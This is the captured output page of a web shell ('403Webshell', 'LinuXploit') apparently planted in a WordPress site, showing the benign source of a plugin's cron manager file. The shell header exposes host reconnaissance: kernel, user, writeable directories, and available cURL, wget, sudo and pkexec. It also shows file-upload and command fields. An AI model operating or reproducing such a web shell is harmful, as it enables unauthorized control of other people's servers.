403Webshell
Server IP : 127.0.1.1  /  Your IP : 127.0.0.1
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux sealall 5.15.0-179-generic #189-Ubuntu SMP Tue May 5 18:20:56 UTC 2026 x86_64
User : devops ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/domains/sealall.ca/wp-content/plugins/independent-analytics/IAWP/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/domains/sealall.ca/wp-content/plugins/independent-analytics/IAWP/Cron_Manager.php
<?php

namespace IAWP;

use IAWPSCOPED\Carbon\CarbonImmutable;
use IAWP\Utils\Salt;
use IAWP\Utils\Timezone;
/** @internal */
class Cron_Manager
{
    public function __construct()
    {
        \add_action('update_option_iawp_visitor_salt_refresh_interval', [$this, 'schedule'], 10, 0);
        \add_action('add_option_iawp_visitor_salt_refresh_interval', [$this, 'schedule'], 10, 0);
        \add_action('iawp_refresh_salt', [$this, 'handle']);
    }
    public function schedule()
    {
        \wp_unschedule_hook('iawp_refresh_salt');
        $interval = \IAWP\VisitorSaltRefreshInterval::interval();
        if ($interval === 'never') {
            return;
        }
        $refresh_time = CarbonImmutable::tomorrow(Timezone::site_timezone())->startOfDay();
        \wp_schedule_event($refresh_time->getTimestamp(), $interval, 'iawp_refresh_salt');
    }
    public function handle()
    {
        Salt::refresh_visitor_token_salt();
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit